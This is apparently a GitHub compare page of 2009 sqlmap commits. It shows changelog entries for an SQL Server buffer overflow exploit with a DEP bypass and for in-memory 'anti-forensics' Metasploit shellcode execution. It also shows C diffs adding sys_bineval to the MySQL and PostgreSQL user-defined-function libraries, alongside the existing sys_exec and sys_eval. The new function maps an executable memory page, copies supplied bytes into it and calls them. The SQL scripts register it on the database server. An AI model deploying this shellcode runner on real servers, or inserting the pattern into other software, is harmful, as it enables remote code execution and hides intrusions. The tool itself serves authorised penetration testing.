mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
25 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ce022a3b6e | ||
|
|
d55175a340 | ||
|
|
9c620da0a5 | ||
|
|
c1c14dabd9 | ||
|
|
e6c4154cac | ||
|
|
e4e081cdc6 | ||
|
|
a605980d66 | ||
|
|
b363f1c5ab | ||
|
|
e28b98a366 | ||
|
|
c332c72808 | ||
|
|
6e36a6f8ed | ||
|
|
4779a5fe0f | ||
|
|
1bf6a7cadc | ||
|
|
aa14bea051 | ||
|
|
e518ae82e4 | ||
|
|
bfd8128693 | ||
|
|
de68a499f5 | ||
|
|
bb123b2769 | ||
|
|
f1a7d095aa | ||
|
|
89c43893d4 | ||
|
|
458d59416c | ||
|
|
14578a7a4d | ||
|
|
17289c5ff2 | ||
|
|
e608a5ca55 | ||
|
|
19c6804ded |
@@ -1,3 +1,3 @@
|
||||
Bernardo Damele A. G. (inquis) - Lead developer
|
||||
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
|
||||
<bernardo.damele@gmail.com>
|
||||
PGP Key ID: 0x05F5A30F
|
||||
|
||||
@@ -1,3 +1,26 @@
|
||||
sqlmap (0.8rc1-1) stable; urgency=low
|
||||
|
||||
* Major enhancement to the Microsoft SQL Server stored procedure
|
||||
heap-based buffer overflow exploit (--os-bof) to automatically bypass
|
||||
DEP memory protection.
|
||||
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
|
||||
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
|
||||
option instead of uploading the standalone payload stager executable.
|
||||
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
|
||||
read/add/delete Windows registry keys.
|
||||
* Added options for MySQL and PostgreSQL to inject custom user-defined
|
||||
functions.
|
||||
* Added support for --first and --last so the user now has even more
|
||||
granularity in what to enumerate in the query output.
|
||||
* Minor enhancement to save the session by default in
|
||||
'output/hostname/session' file if -s option is not specified.
|
||||
* Minor improvement to automatically remove sqlmap created temporary
|
||||
files from the DBMS underlying file system.
|
||||
* Minor bugs fixed.
|
||||
* Major code refactoring.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 21 Sep 2009 15:00:00 +0000
|
||||
|
||||
sqlmap (0.7-1) stable; urgency=low
|
||||
|
||||
* Adapted Metasploit wrapping functions to work with latest 3.3
|
||||
|
||||
@@ -98,9 +98,7 @@ for x86, AMD64 and Itanium too.</P>
|
||||
<A HREF="http://metasploit.com/framework/">Metasploit Framework</A> for some of its post-exploitation takeover
|
||||
functionalities. You need to grab a copy of it from the
|
||||
<A HREF="http://metasploit.com/framework/download/">download</A>
|
||||
page. The required version is <B>3.2</B> or above, recommended is the
|
||||
latest <B>3.3 development</B> version from Metasploit's subversion
|
||||
repository.</P>
|
||||
page. The required version is <B>3.3</B> or above.</P>
|
||||
<P>Optionally, if you are running sqlmap on Windows, you may wish to install
|
||||
<A HREF="http://ipython.scipy.org/moin/PyReadline/Intro">PyReadline</A>
|
||||
library to be able to take advantage of the sqlmap TAB completion and
|
||||
@@ -156,7 +154,7 @@ rated on 2007 in their
|
||||
<A HREF="http://www.owasp.org/index.php/Top_10_2007">OWASP Top Ten</A> survey this vulnerability as the
|
||||
<A HREF="http://www.owasp.org/index.php/Top_10_2007-A2">most common</A> and important web application vulnerability, second only to
|
||||
<A HREF="http://www.owasp.org/index.php/Top_10_2007-A1">Cross-Site Scripting</A>.</P>
|
||||
<P>Back to the scenario, probably the SQL <CODE>SELECT</CODE> statemenet into
|
||||
<P>Back to the scenario, probably the SQL <CODE>SELECT</CODE> statement into
|
||||
<CODE>get_int.php</CODE> has a syntax similar to the following SQL query, in
|
||||
pseudo PHP code:</P>
|
||||
<P>
|
||||
@@ -4468,8 +4466,7 @@ PostgreSQL and Microsoft SQL Server.
|
||||
sqlmap relies on the
|
||||
<A HREF="http://metasploit.com/framework">Metasploit</A> to perform this attack, so you need to have it already
|
||||
on your system: it's free and can be downloaded from the homepage. It is
|
||||
advised to use Metasploit 3.3 development version from the subversion
|
||||
repository.</P>
|
||||
required to use Metasploit Framework version 3.3 or above.</P>
|
||||
|
||||
<P>Note that this feature is not supported by sqlmap running on Windows
|
||||
because Metasploit's msfconsole and msfcli are not supported on the native
|
||||
|
||||
2246
doc/README.pdf
2246
doc/README.pdf
File diff suppressed because it is too large
Load Diff
@@ -51,9 +51,7 @@ sqlmap relies on the <htmlurl url="http://metasploit.com/framework/"
|
||||
name="Metasploit Framework"> for some of its post-exploitation takeover
|
||||
functionalities. You need to grab a copy of it from the
|
||||
<htmlurl url="http://metasploit.com/framework/download/" name="download">
|
||||
page. The required version is <bf>3.2</bf> or above, recommended is the
|
||||
latest <bf>3.3 development</bf> version from Metasploit's subversion
|
||||
repository.
|
||||
page. The required version is <bf>3.3.3</bf> or above.
|
||||
|
||||
Optionally, if you are running sqlmap on Windows, you may wish to install
|
||||
<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline">
|
||||
@@ -107,7 +105,7 @@ common"> and important web application vulnerability, second only to
|
||||
<htmlurl url="http://www.owasp.org/index.php/Top_10_2007-A1"
|
||||
name="Cross-Site Scripting">.
|
||||
|
||||
Back to the scenario, probably the SQL <tt>SELECT</tt> statemenet into
|
||||
Back to the scenario, probably the SQL <tt>SELECT</tt> statement into
|
||||
<tt>get_int.php</tt> has a syntax similar to the following SQL query, in
|
||||
pseudo PHP code:
|
||||
|
||||
@@ -4358,8 +4356,7 @@ PostgreSQL and Microsoft SQL Server.
|
||||
sqlmap relies on the <htmlurl url="http://metasploit.com/framework"
|
||||
name="Metasploit"> to perform this attack, so you need to have it already
|
||||
on your system: it's free and can be downloaded from the homepage. It is
|
||||
advised to use Metasploit 3.3 development version from the subversion
|
||||
repository.
|
||||
required to use Metasploit Framework version 3.3.3 or above.
|
||||
|
||||
<p>
|
||||
Note that this feature is not supported by sqlmap running on Windows
|
||||
|
||||
38
doc/THANKS
38
doc/THANKS
@@ -15,12 +15,15 @@ Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Jack Butler <fattredd@hotmail.com>
|
||||
for providing me with the sqlmap site favicon
|
||||
|
||||
Roberto Castrogiovanni <castrogiovanni.roberto@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Cesar Cerrudo <cesar@argeniss.com>
|
||||
for his Windows access token kidnapping tool Churrasco included in
|
||||
sqlmap tree as a contrib library and used to run the stand-alone
|
||||
payload stager on the target Windows machine as SYSTEM user if the
|
||||
user wants to perform a privilege escalation attack,
|
||||
http://www.argeniss.com/research/Churrasco.zip
|
||||
http://www.argeniss.com/research/TokenKidnapping.pdf
|
||||
|
||||
Karl Chen <quarl@cs.berkeley.edu>
|
||||
for providing with the multithreading patch for the inference
|
||||
@@ -50,6 +53,11 @@ Dan Guido <dguido@gmail.com>
|
||||
Adam Faheem <faheem.adam@is.co.za>
|
||||
for reporting a few bugs
|
||||
|
||||
James Fisher <www@sittinglittleduck.com>
|
||||
for providing me with two very good feature requests
|
||||
for his great tool too brute force directories and files names on
|
||||
web/application servers, Dir Buster, http://tinyurl.com/dirbuster
|
||||
|
||||
Jim Forster <jimforster@goldenwest.com>
|
||||
for reporting a bug
|
||||
|
||||
@@ -70,6 +78,7 @@ Ivan Giacomelli <truemilk@insiberia.net>
|
||||
for reviewing the documentation
|
||||
|
||||
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
|
||||
for reporting a bug
|
||||
for providing me with a minor patch
|
||||
|
||||
Davide Guerri <d.guerri@caspur.it>
|
||||
@@ -92,9 +101,15 @@ Daniel Hückmann <sanitybit@gmail.com>
|
||||
Mounir Idrassi <mounir.idrassi@idrix.net>
|
||||
for his compiled version of UPX for Mac OS X
|
||||
|
||||
Dirk Jagdmann <doj@cubic.org>
|
||||
for reporting a typo in the documentation
|
||||
|
||||
Luke Jahnke <luke.jahnke@gmail.com>
|
||||
for reporting a bug when running against MySQL < 5.0
|
||||
|
||||
Sven Klemm <sven@c3d2.de>
|
||||
for reporting two minor bugs with PostgreSQL
|
||||
|
||||
Anant Kochhar <anant.kochhar@secureyes.net>
|
||||
for providing me with feedback on the user's manual
|
||||
|
||||
@@ -105,10 +120,16 @@ Nicolas Krassas <krasn@ans.gr>
|
||||
for reporting a bug
|
||||
|
||||
Guido Landi <lists@keamera.org>
|
||||
for reporting a couple of bugs
|
||||
for the great technical discussions
|
||||
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
|
||||
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
|
||||
(MS09-004) exploit development, http://www.milw0rm.com/author/1413
|
||||
(MS09-004) exploit development
|
||||
for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
|
||||
on September 21, 2009
|
||||
|
||||
Lee Lawson <Lee.Lawson@dns.co.uk>
|
||||
for reporting a minor bug
|
||||
|
||||
Nico Leidecker <nico@leidecker.info>
|
||||
for providing me with feedback on a few features
|
||||
@@ -144,9 +165,16 @@ John F. Reiser <sales@bitwagon.com>
|
||||
Metasploit Framework 3 payload stager portable executable,
|
||||
http://upx.sourceforge.net
|
||||
|
||||
Simone Onofri <simone.onofri@gmail.com>
|
||||
for patching the PHP web backdoor to make it work properly also on
|
||||
Windows
|
||||
|
||||
Antonio Parata <s4tan@ictsc.it>
|
||||
for providing me with some ideas for the PHP backdoor
|
||||
|
||||
Adrian Pastor <ap@gnucitizen.org>
|
||||
for donating to sqlmap development
|
||||
|
||||
Chris Patten <cpatten@sunera.com>
|
||||
for reporting a bug in the blind SQL injection bisection algorithm
|
||||
|
||||
@@ -238,6 +266,12 @@ fufuh <fufuh@users.sourceforge.net>
|
||||
mariano <marianoso@gmail.com>
|
||||
for reporting a bug
|
||||
|
||||
pacman730 <pacman730@users.sourceforge.net>
|
||||
for reporting a bug
|
||||
|
||||
Stuffe <stuffe.dk@gmail.com>
|
||||
for reporting a minor bug and a feature request
|
||||
|
||||
Sylphid <sylphid.su@sti.com.tw>
|
||||
for suggesting some features
|
||||
|
||||
|
||||
@@ -21,8 +21,6 @@ License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import sys
|
||||
import struct
|
||||
@@ -30,7 +28,6 @@ import struct
|
||||
from optparse import OptionError
|
||||
from optparse import OptionParser
|
||||
|
||||
|
||||
def convert(inputFile):
|
||||
fileStat = os.stat(inputFile)
|
||||
fileSize = fileStat.st_size
|
||||
@@ -74,7 +71,6 @@ def convert(inputFile):
|
||||
|
||||
return script
|
||||
|
||||
|
||||
def main(inputFile, outputFile):
|
||||
if not os.path.isfile(inputFile):
|
||||
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
|
||||
@@ -90,7 +86,6 @@ def main(inputFile, outputFile):
|
||||
else:
|
||||
print script
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
||||
parser = OptionParser(usage=usage, version='0.1')
|
||||
|
||||
@@ -3,4 +3,4 @@ LIBDIR=/usr/lib
|
||||
install:
|
||||
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
|
||||
strip -sx so/lib_mysqludf_sys.so
|
||||
cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||
sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||
|
||||
@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
|
||||
DROP FUNCTION IF EXISTS sys_set;
|
||||
DROP FUNCTION IF EXISTS sys_exec;
|
||||
DROP FUNCTION IF EXISTS sys_eval;
|
||||
DROP FUNCTION IF EXISTS sys_bineval;
|
||||
|
||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
|
||||
Binary file not shown.
@@ -23,6 +23,9 @@
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
@@ -191,6 +194,33 @@ char* sys_eval(
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -250,10 +282,12 @@ my_bool sys_get_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -305,6 +339,7 @@ my_bool sys_set_init(
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
@@ -312,6 +347,7 @@ void sys_set_deinit(
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -422,5 +462,90 @@ char* sys_eval(
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = strlen(args->args[0]);
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
Binary file not shown.
@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
|
||||
DROP FUNCTION IF EXISTS sys_set;
|
||||
DROP FUNCTION IF EXISTS sys_exec;
|
||||
DROP FUNCTION IF EXISTS sys_eval;
|
||||
DROP FUNCTION IF EXISTS sys_bineval;
|
||||
|
||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||
|
||||
@@ -23,6 +23,9 @@
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
@@ -191,6 +194,33 @@ char* sys_eval(
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -250,10 +282,12 @@ my_bool sys_get_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -305,6 +339,7 @@ my_bool sys_set_init(
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
@@ -312,6 +347,7 @@ void sys_set_deinit(
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -422,5 +462,90 @@ char* sys_eval(
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = strlen(args->args[0]);
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
@@ -19,6 +19,8 @@
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
# Adapt the following settings to your environment
|
||||
#PORT="5433"
|
||||
#VERSION="8.2"
|
||||
PORT="5432"
|
||||
VERSION="8.3"
|
||||
USER="postgres"
|
||||
|
||||
@@ -21,3 +21,4 @@
|
||||
|
||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -25,14 +25,23 @@
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
@@ -109,3 +118,75 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -25,14 +25,23 @@
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
